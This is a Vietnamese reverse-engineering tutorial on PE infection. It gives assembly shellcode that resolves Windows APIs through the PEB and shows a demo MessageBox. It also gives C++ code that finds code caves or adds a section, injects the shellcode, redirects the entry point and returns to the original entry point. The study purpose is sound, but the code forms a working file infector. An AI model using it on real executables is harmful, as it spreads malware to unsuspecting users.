---
# System prepended metadata

title: PE Infection
tags: [RE]

---

# PE Infection

PE Infection là một kĩ thuật chèn shellcode độc vào một file PE để biến nó từ một file PE thường thành file PE độc hại. Đây có thể coi là một trong những kỹ thuật cơ bản mà mã độc thường sử dụng. Để thực hiện kĩ thuật trên, ta sẽ thực hiện vài bước cơ bản như sau:
- Tạo và sửa shellcode độc
- Đọc file PE mục tiêu
- Tìm vị trí để chèn Shellcode. Nếu không thể tìm được thì tạo một Section mới để chứa Shellcode đó
- Chỉnh sửa lại các trường cho hợp lí
- Chỉnh sửa Shellcode để đảm bảo sau khi chạy xong Shellcode chương trình sẽ quay về luồng chạy bình thường

Trong phạm vi bài viết này, shellcode sẽ được thực thi trước khi thực hiện các chức năng ban đầu của file bị lây nhiễm. Ta sẽ bắt đầu với bước đầu tiên là tạo một Shellcode.

## Tạo Shellcode độc

Về cơ bản, Shellcode là một đoạn mã nhỏ được sử dụng làm trọng tải trong việc khai thác lỗ hổng phần mềm. Và Shellcode phải hoạt động độc lập, để nó có thể chạy ở bất cứ môi trường nào. Shellcode không thể sử dụng Windows API để tương tác với Windows OS một cách bình thường.  Vì Shellcode chỉ là một đoạn mã nên nó không có cấu trúc của một file thực thi hợp lệ, dẫn đến Windows loader không thể nhận ra và thực thi nó. Bên cạnh đó, Windows loader phụ thuộc vào Import Address Table(IAT) , mà rất có thể IAT này không cung cấp các địa chỉ hàm mà shellcode cần nên nó không thể phụ thuộc vào IAT của process mà nó inject vào. Vậy nên Shellcode phải tự tìm các thư viện và các hàm cần thiết để có thể thực thi.

Trong thư viện Kernel32.dll có chứa 2 API đặc biệt:
- ``LoadLibraryA``: load thư viện và trả về handle đến thư viện đó. 
- ``GetProcAddress``: trả về địa chỉ của hàm được export của thư viện

Nếu shellcode có thể sử dụng 2 API này thì nó có thể sử dụng tất cả các thư viện cũng như các hàm trong các thư viện, hay nói cách khác là sử dụng được các API. 

Tuy nhiên như đã đề cập ở trên, Shellcode không thể sử dụng API một cách bình thường. Vì thế ta cần phải lấy được địa chỉ của ``Kernel32.dll``, sau đó dựa vào Kernel32.dll để lấy địa chỉ các API trong dll trên, cụ thể ở đây là ``LoadLibraryA`` và ``GetProcAddress``

Mình sẽ viết một hàm lấy địa chỉ của các API trong ``Kernel32.dll``, về cơ bản, hàm này nhận tên của API, sau đó sử dụng cấu trúc PEB để lấy địa chỉ ``Kernel32.dll``, từ đó thực hiện vòng lặp để duyệt và lấy API cần tìm

```asm=
peb_getFunc:
	push ebp
	mov ebp, esp
	sub esp, 14h
	xor eax, eax
	mov [ebp - 04h], eax			; lưu số lượng hàm trong kernel32.dll
	mov [ebp - 08h], eax			; lưu địa chỉ của EXPORT Address Table
	mov [ebp - 0ch], eax			; lưu địa chỉ của EXPORT Name Pointer Table
	mov [ebp - 10h], eax			; lưu địa chỉ của EXPORT Ordinal Table
	mov [ebp - 14h], eax			
	; lấy địa chỉ kernel32.dll
	; TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll
	mov eax, [fs:30h]		    	; Trỏ đến PEB (https://en.wikipedia.org/wiki/Win32_Thread_Information_Block)
	mov eax, [eax + 0ch]			; Trỏ đến Ldr
	mov eax, [eax + 14h]			; Trỏ đến InMemoryOrderModuleList
	mov eax, [eax]				  	; Trỏ đến currentProgram module
	mov eax, [eax]  				; Trỏ đến ntdll module
	mov eax, [eax -8h + 18h]		; eax = kernel32.dll base
	mov ebx, eax					; lưu địa chỉ của kernel32.dll vào ebx
	; lấy địa chỉ của PE signature
	mov eax, [ebx + 3ch]			; offset 0x30 sau kernel32.dll - data là RVA của PE signature (0xf8)
	add eax, ebx				    ; địa chỉ của PE signature: eax = 0xf8 + kernel32 base
	; lấy địa chỉ của Export Table
	mov eax, [eax + 78h]			; offset 0x78 sau PE signature là RVA của Export Table - data là RVA của IMAGE_EXPORT_DIRECTORY (0x93e40)
	add eax, ebx					; địa chỉ của  IMAGE_EXPORT_DIRECTORY = 0x93e40 + kernel32 base

	; lấy số lượng các hàm trong kernel32.dll
	mov ecx, [eax + 14h]			; 0x93e40 + 0x14 = 0x93e54 - data là số hàm có trong kernel32.dll (0x66b)
	mov [ebp - 4h], ecx				; [ebp - 4h] = 0x66b
	; lấy địa chỉ của EXPORT Address Table (nơi chứa địa chỉ các hàm của kernel32.dll)
	mov ecx, [eax + 1ch]			; 0x93e40 + 0x1c = 0x93e5c - data là địa chỉ của EXPORT Address Table (0x93e68)
	add ecx, ebx				   	; cộng thêm địa chỉ kernel32.dll
	mov [ebp - 8h], ecx				; [ebp - 8h] = 0x93e68 + kernel32 base
	; lấy địa chỉ của EXPORT Name Pointer Table (so sánh tên hàm với giá trị của cái này)
	mov ecx, [eax + 20h]			; 0x93e40 + 0x20 = 0x93e60 - data là địa chỉ của EXPORT Name Pointer Table (0x95814)
	add ecx, ebx					; cộng thêm địa chỉ kernel32.dll
	mov [ebp - 0ch], ecx			; [ebp - 0ch] = 0x95814 + kernel32 base
	; lấy địa chỉ của EXPORT Ordinal Table
	mov ecx, [eax + 24h]			; 0x93e40 + 0x24 = 0x93e64 - data là địa chỉ của EXPORT Name Pointer Table (0x971c0)
	add ecx, ebx					; cộng thêm địa chỉ kernel32.dll
	mov [ebp - 10h], ecx			; [ebp - 10h] = 0x971c0 + kernel32 base

	; vòng lặp tìm địa chỉ của hàm cần gọi trong kernel32.dll
	xor eax, eax
	xor ecx, ecx
		
	findYourFunctionPosition:
		mov esi, [ebp + 08h]		; esi = địa chỉ của chuỗi tên hàm cần tìm
		mov edi, [ebp - 0ch]		; edi = địa chỉ của EXPORT Name Pointer Table
		cld							; set cho Direction Flag bằng 0 (https://en.wikipedia.org/wiki/Direction_flag)
		mov edi, [edi + eax*4]		; edi + eax*4 để tính RVA của hàm tiếp theo => data của nó là địa chỉ hàm tiếp theo
		add edi, ebx				; cộng thêm với địa chỉ kernel32.dll
		mov cx, 8					; so sánh 8 byte đầu
		repe cmpsb					; so sánh [esi] và [edi]
			
		jz GetYourFunctionFound
		inc eax						; i++
		cmp eax, [ebp - 4h]			; kiểm tra xem check hết các hàm chưa
		jne findYourFunctionPosition	
			
	GetYourFunctionFound:		
		mov ecx, [ebp - 10h]		; ecx = ordinal table
		mov edx, [ebp - 8h]			; edx = export address table
		; tính địa chỉ hàm
		mov ax, [ecx + eax * 2]		; tính ordinal của hàm
		mov eax, [edx + eax * 4]	; lấy RVA của function
		add eax, ebx               	; cộng thêm địa chỉ kernel32.dll để lấy chính xác địa chỉ của hàm 
    add esp, 14h      
    mov esp, ebp
    pop ebp
    ret
```

Một vấn đề khác của Shellcode là trong khi các chương trình bình thường khi load String thì sẽ giữ các String đó ở section khác rồi gọi đến và load chúng chứ thường không giữ các String ở trong section ``.text``. Vì thế để load String trong Shellcode, mình sẽ tham khảo kĩ thuật viết Shellcode trong quyển ``Pratical Malware Analysis``

```asm=
    call sub_A0
    db 'LoadLibraryA', 0

sub_A0:
    call peb_getFunc
    mov [ebp - 04h], eax            ; Address of LoadLibraryA
    call sub_A1
    db 'GetProcAddress', 0

sub_A1:
    call peb_getFunc
    mov [ebp - 08h], eax            ; Address of GetProcAddress
    xor eax, eax
```

Ở đây mình sẽ lợi dụng tính chất của [Calling Invention](https://en.wikipedia.org/wiki/Calling_convention): Khi chương trình chạy đến lệnh Call, địa chỉ tiếp theo sau lệnh Call sẽ tự động được Push lên Stack, mục đích của việc này là để xác định vị trí tiếp theo của chương trình sau khi hàm thực hiện xong. Tuy nhiên như ở ví dụ dưới đây, lệnh tiếp theo sau lệnh call là chuỗi "LoadLibraryA" được khai báo. Bằng cách này khi chương trình chạy đến lệnh Call thì địa chỉ của chuỗi trên sẽ được tự động push vào Stack. Với việc đã có chuỗi trên đỉnh Stack, thì khi gọi hàm ``peb_getFunc``, chương trình sẽ lấy giá trị đỉnh Stack là tham số đầu vào của hàm, từ đó sau khi chạy hàm ta lấy được địa chỉ của hai API ``LoadLibraryA`` và ``GetProcAddress``

Với việc đã load được hai API trên, việc load các API khác cũng sẽ trở nên dễ dàng hơn. Mình sẽ lấy thêm API ``MessageBoxA`` từ ``User32.dll`` để viết một Shellcode in ra MessageBox đơn giản 

```asm=
    xor eax, eax
    call sub_A2
    db 'User32.dll', 0

sub_A2:
    mov eax, [ebp - 04h]
    call eax                        ; LoadLibrary("User32.dll")
    mov [ebp - 0ch], eax            ; hDll of User32.dll    
    xor eax, eax
    xor ebx, ebx
    call sub_A3  
    db 'MessageBoxA', 0

sub_A3:
    mov eax, [ebp - 08h]
    mov ebx, [ebp - 0ch]
    push ebx
    call eax                        ; GetProcAddress(hDLL, "MessageBoxA")
    mov [ebp - 10h], eax            ; Address of MessageBoxA
```

Sau khi lấy được địa chỉ hàm ``MessageBoxA``, mình sẽ viết tiếp một đoạn mã nữa để thực thi hàm và kết thúc Shellcode

```asm=
    xor eax, eax
    xor ebx, ebx
    call sub_A8
    db 'WARNING!!!', 0

sub_A8:
    pop esi
    call sub_A9    
    db 'Hacked by Noobmannn!!!', 0

sub_A9:
    pop edi
    xor eax, eax
    mov eax, [ebp - 10h]
    xor ebx, ebx
    push ebx
    push esi
    push edi
    push ebx
    call eax    ; MessageBoxA(NULL, "Hacked by Noobmannn!!!", "WARNING!!!", MB_OK)
```

## Đọc File PE mục tiêu

Bước này chỉ đơn giản đọc file PE để chuẩn bị chèn shellcode vào

```cpp=
HANDLE hFile = CreateFileA(lpTargetFile, FILE_READ_ACCESS | FILE_WRITE_ACCESS, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
HANDLE hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, dwFileSize, NULL);
LPBYTE lpFileAddr = (LPBYTE)MapViewOfFile(hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, NULL, NULL, dwFileSize);
```

## Tìm vị trí để chèn shellcode

### Tìm Codecave để chèn shellcode vào

Vì mỗi section của file PE khi được lưu trên disk sẽ có độ dài là bội số của trường FileAlignment, nên thường sẽ có những vùng nhớ trống, được gọi là codecave, ở cuối các section. Shellcode có thể chèn vào bất kì section nào, miễn là codecave có độ lớn phù hợp. Mình sẽ duyệt qua từng section một trong File, khi đó shellcode sẽ được chèn vào codecave phù hợp đầu tiên tìm được.

```Cpp=
DWORD dwCnt = 0;
DWORD dwPos;
for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++) {
    for (dwPos = pSecHdr->PointerToRawData; dwPos < (pSecHdr->PointerToRawData + pSecHdr->SizeOfRawData); dwPos++) {
        if (*(lpFileAddr + dwPos) == 0x00) {
            if (dwCnt++ == dwShellcodeSize) {
                dwPos -= dwShellcodeSize;
                lpShellAddr = (LPVOID)(lpFileAddr + dwPos);
                printf("[+] Fine Codecave in Section: %s\n", pSecHdr->Name);
                break;
            }
        }
        else {
            dwCnt = 0;
        }
    }
    if (lpShellAddr) {
        break;
    }
    dwCnt = 0;
    pSecHdr++;
}
```

### Thêm Section để chèn Shellcode

Trong trường hợp không tìm được Codecave phù hợp, cần phải tạo một Section mới và chèn Shellcode vào. Tuy nhiên File chỉ giới hạn đủ nội dung để chứa đủ các Section hiện tại. Vì thế ta cần khởi tạo thêm nội dung cho File, sau đó tiến hành căn chỉnh lại các giá trị của file PE.

```cpp=
DWORD dwNewSecRVA = 0;
DWORD dwNewSecRaw = 0;
if (!lpShellAddr) {
    pSecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHdrs);
    for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections - 1; i++) {
    	pSecHdr++;
    }
    dwNewSecRaw = pSecHdr->PointerToRawData + pSecHdr->SizeOfRawData;
    pSecHdr++;
    // Thiết lập các giá trị mới cho File
    // Tăng số lượng Section
    pNtHdrs->FileHeader.NumberOfSections++;
    // Đặt tên Section mới
    strncpy((char*)pSecHdr->Name, ".shellol", IMAGE_SIZEOF_SHORT_NAME);
    // Mở rộng kích thước Image
    pNtHdrs->OptionalHeader.SizeOfImage += pNtHdrs->OptionalHeader.SectionAlignment;
    // Kích thước section mới, giá trị mở rộng phải là bội của FileAlignment
    pSecHdr->SizeOfRawData = pNtHdrs->OptionalHeader.FileAlignment * ((dwShellcodeSize / pNtHdrs->OptionalHeader.FileAlignment) + 1);
    // Kích thước ảo, sẽ tính ở bước sau
    pSecHdr->Misc.VirtualSize = 0;
    // Địa chỉ đầu section mới
    pSecHdr->PointerToRawData = dwNewSecRaw;
    // Địa chỉ ảo section mới
    pSecHdr->VirtualAddress = (pNtHdrs->FileHeader.NumberOfSections) * pNtHdrs->OptionalHeader.SectionAlignment;
    // Viết thêm nội dung cho file để chứa Section
    SetFilePointer(hFile, dwNewSecRaw, NULL, FILE_BEGIN);
    BYTE* buffer = (BYTE*)malloc(pSecHdr->SizeOfRawData);
    memset(buffer, 0x00, pSecHdr->SizeOfRawData);
    DWORD byteWritten;
    WriteFile(hFile, buffer, pSecHdr->SizeOfRawData, &byteWritten, NULL);
    // Lấy địa chỉ
    lpShellAddr = (LPVOID)(lpFileAddr + dwNewSecRaw);
    dwPos = dwNewSecRaw;
    printf("[+] Add New Section: %s\n", pSecHdr->Name);
}
```

## Copy Shellcode và căn chỉnh lại các trường của File PE

Sau khi đã tìm được vị trí phù hợp, ta copy toàn bộ shellcode vào phần memory mới tìm được

```cpp=
memcpy(lpShellAddr, shellcode, dwShellcodeSize);
```

Sau đó thực hiện căn chỉnh lại một số trường của file PE và tính Entry Point mới cho file, để đảm bảo file sẽ chạy Shellcode trước.

```cpp=
// Mở rộng kích thước section chứa Shellcode
pSecHdr->Misc.VirtualSize += dwShellcodeSize;
// Chỉnh sửa đặc tính cho section
pSecHdr->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
// Chỉnh lại Entry Point
pNtHdrs->OptionalHeader.AddressOfEntryPoint = dwPos + pSecHdr->VirtualAddress - pSecHdr->PointerToRawData;
```

## Tinh chỉnh Shellcode

Để đảm bảo sau khi chạy xong mã độc, file bị lây nhiễm sẽ chạy lại các tác vụ bình thường của nó. Ta cần chỉnh sửa cho chương trình sẽ nhảy về Entry Point gốc của nó sau khi thực thi Shellcode.

Địa chỉ của hàm đầu tiên được thực hiện sau khi Shellcode kết thúc lúc này sẽ bằng tổng của Entry Point gốc với Image Base của chương trình đang chạy. Vì không phải lúc nào giá trị của Image Base lúc chương trình đang chạy sẽ giống với giá trị Image Base mặc định của File. Vậy nên trong Shellcode cần phải có 1 số thao tác để tính giá trị Image Base tại lúc chương trình đang chạy. Mô phỏng sơ qua cách tìm giá trị trên bằng C như dưới đây:

```cpp=
HMODULE hModule = GetModuleHandle(NULL);
MODULEINFO moduleInfo;
GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo));
DWORD_PTR actualImageBase = (DWORD_PTR)moduleInfo.lpBaseOfDll;
printf("Image Base thực tế: 0x%lX\n", actualImageBase);
```

Chương trình cần ba API là ``GetModuleHandleW``, ``GetCurrentProcess`` và ``K32GetModuleInformation``, cả ba đều của ``Kernel32.dll``, Mình sẽ viết ASM để load các dll trên như sau:

```asm=
    xor eax, eax
    xor ebx, ebx
    call sub_A4
    db 'Kernel32.dll', 0

sub_A4:
    mov eax, [ebp - 04h]
    call eax                         ; GetProcAddress("Kernel32.dll")
    mov [ebp - 14h], eax			; hDll of Kernel32.dll
    xor eax, eax
    xor ebx, ebx
    call sub_A5
    db 'GetModuleHandleW', 0

sub_A5:
    mov eax, [ebp - 08h]
    mov ebx, [ebp - 14h]
    push ebx
    call eax                     ; GetProcAddress(hDll, "GetModuleHandleW")
    mov [ebp - 18h], eax			; GetModuleHandleW
    xor eax, eax
    xor ebx, ebx
    call sub_A6
    db 'GetCurrentProcess', 0

sub_A6:
    mov eax, [ebp - 08h]
    mov ebx, [ebp - 14h]
    push ebx
    call eax                    ; GetProcAddress(hDll, "GetCurrentProcess")
    mov [ebp - 1ch], eax			; GetCurrentProcess
    xor eax, eax
    xor ebx, ebx
    call sub_A7
    db 'K32GetModuleInformation', 0

sub_A7:
    mov eax, [ebp - 08h]
    mov ebx, [ebp - 14h]
    push ebx
    call eax            ; GetProcAddress(hDll, "K32GetModuleInformation")
    mov [ebp - 20h], eax			; K32GetModuleInformation
```
  
Sau khi load được đủ API cần thiết thì viết đoạn code để lấy giá trị ImageBase hiện tại của chương trình:

```asm=
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    xor esi, esi
    xor edi, edi
    mov eax, [ebp - 18h]			
    push 0
    call eax						; GetModuleHandle(NULL);
    mov [ebp - 24h], eax
    xor eax, eax
    mov eax, [ebp - 1ch]
    call eax						; GetCurrentProcess()
    mov esi, eax
    mov edi, [ebp - 24h]
    xor eax, eax
    xor ecx, ecx
    mov [ebp - 28h], ecx
    lea ecx, [ebp - 28h]
    mov eax, [ebp - 20h]
    push 0Ch
    push ecx
    push edi
    push esi
    call eax						; K32GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))
    xor eax, eax
    mov eax, dword ptr [ebp - 28h]         ; Image Base của File tại thời điểm thực thi  
```

Sau khi qua đoạn code trên, Imagebase tại thời điểm thực thi sẽ được lưu vào EAX, lúc này cộng giá trị trên với một giá trị đánh dấu ``0xAAAAAAAA``. Mục đích của việc đánh dấu này là sẽ thay đổi giá trị trên bằng Entry Point gốc của file PE. Khi đó tổng của chúng sẽ là địa chỉ mà tại đó chương trình gốc thực thi đẩu tiên. Thực hiện lệnh ``push eax`` trước lệnh ``ret`` để đảm bảo chương trình sẽ quay lại thực thi ở vị trí đó.

```asm=
    add eax, 0AAAAAAAAh	
    add esp, 28h      
    mov esp, ebp
    pop ebp
    push eax
    ret
```

Bây giờ chúng ta chỉ cần viết thêm một đoạn code nữa để sửa lại giá trị đánh dấu của shellcode

```cpp=
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpFileAddr;
PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpFileAddr + pDosHdr->e_lfanew);
PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHdrs);
DWORD dwOEP = pNtHdrs->OptionalHeader.AddressOfEntryPoint;
DWORD dwShellcodeSize = sizeof(shellcode);
for (DWORD i = 0; i < dwShellcodeSize; i++) {
	if (*(LPDWORD)(shellcode + i) == 0xAAAAAAAA) {
		*(LPDWORD)(shellcode + i) = dwOEP;
		break;
	}
}
```

## Kết quả

Tiến hành thực hiện PE infection với file PE mục tiêu là ``TestingFile.exe``, có Entrpoint gốc tại offset ``0x6B0`` kể từ đầu file. File này thực hiện in ra những nội dung như dưới đây

![image](https://hackmd.io/_uploads/H1T9_RKHC.png)


Dưới đây là kết quả sau khi thực hiện PE Infection:
- Tạo Section mới để chứa Shellcode: Do đoạn shellcode ban đầu mình viết có kích thước lớn nên chỉ có thể chèn thêm shellcode vào, kết quả chèn shellcode như hình dưới. Có thể thấy giá trị Entry Point đã bị đẩy sang đầu của section ``.shellol`` mình mới tạo
    ![image](https://hackmd.io/_uploads/SkJHF0YrR.png)
- Chèn Shellcode vào các Section hiện có: Mình đã lược bớt một số phần để giảm kích thước shellcode đủ để chèn vào một codecave hiện đang có, và kết quả như hình dưới đây. Có thể thấy Entry Point gốc đã khác biệt và trong section ``.text`` đã chứa shellcode của chúng ta
    ![image](https://hackmd.io/_uploads/HyK6i0YHR.png)

Kết quả:

![image](https://hackmd.io/_uploads/ry1o60tSC.png)

Demo: [Here](https://www.youtube.com/watch?v=GRhvG720hQ8) or [Here](https://drive.google.com/file/d/1MYgqL6UopzyKg8eXLYtm_DW6gt-wHX5M/view?usp=sharing)

## Source Code

[Here](https://github.com/noobmannn/TrainRev/tree/main/PE_Infection)











